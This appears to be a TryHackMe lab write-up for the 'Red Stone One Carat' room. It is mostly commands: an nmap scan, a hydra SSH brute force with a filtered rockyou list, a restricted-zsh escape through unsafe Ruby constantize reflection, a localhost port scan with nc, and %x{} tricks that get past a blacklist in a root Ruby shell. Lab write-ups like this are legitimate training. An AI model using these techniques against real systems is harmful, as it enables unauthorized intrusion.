🧪 TryHackMe – Red Stone One Carat

Port Scanning

```
nmap -sV -p- 10.10.130.49
```

- **22/tcp** → OpenSSH 7.6 on Ubuntu

SSH Brute Force (Foothold)

Password hint: contains `bu`

```
grep bu /usr/share/wordlists/rockyou.txt > bu-passwords.txt
hydra -l noraj -P bu-passwords.txt ssh://10.10.130.49 -t 4
```

✅ **Credentials Found**: `noraj:cheeseburger`

Restricted Shell Identification

After login:

```
echo $SHELL          # /bin/rzsh
echo $PATH           # /home/noraj/bin
echo *               # bin user.txt
echo bin/*           # bin/test.rb
```

- The environment is using **restricted zsh (`rzsh`)**, which blocks `ls`, `cat`, `bash`, etc.

Privilege Escalation: Ruby Exploitation

Discover `test.rb`:

```
echo bin/test.rb | xargs cat
```

Snippet:

```
require 'rails'
if ARGV.size == 3
  klass = ARGV[0].constantize
  obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
  puts File.read(__FILE__)
end
```

This script uses unsafe Ruby reflection via `constantize`.

---

1. Spawn a Shell

```
test.rb Kernel system "/bin/zsh"
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

Now common commands work from `/usr/bin`.

---

2. Read `user.txt`

```
ruby -e "puts File.read('user.txt')"
```

✅ **User flag captured**

---

3. Locate Hidden Local Service

Restricted `ss` and `netstat`, so use:

```
nc -zvnw1 127.0.0.1 1-65535
```

Found **listening port 31547** owned by root.

---

4. Connect to Ruby Shell Service

```
nc 127.0.0.1 31547
```

Inside this restricted Ruby shell, many punctuation characters are blacklisted: `()[].'"`

But we can bypass with:

```
%x{id}              # Shows root privileges
%x{ls /root}        # Lists contents of /root
%x{cat /root/root.txt}  # Reads the root flag
```

✅ **Root shell obtained**
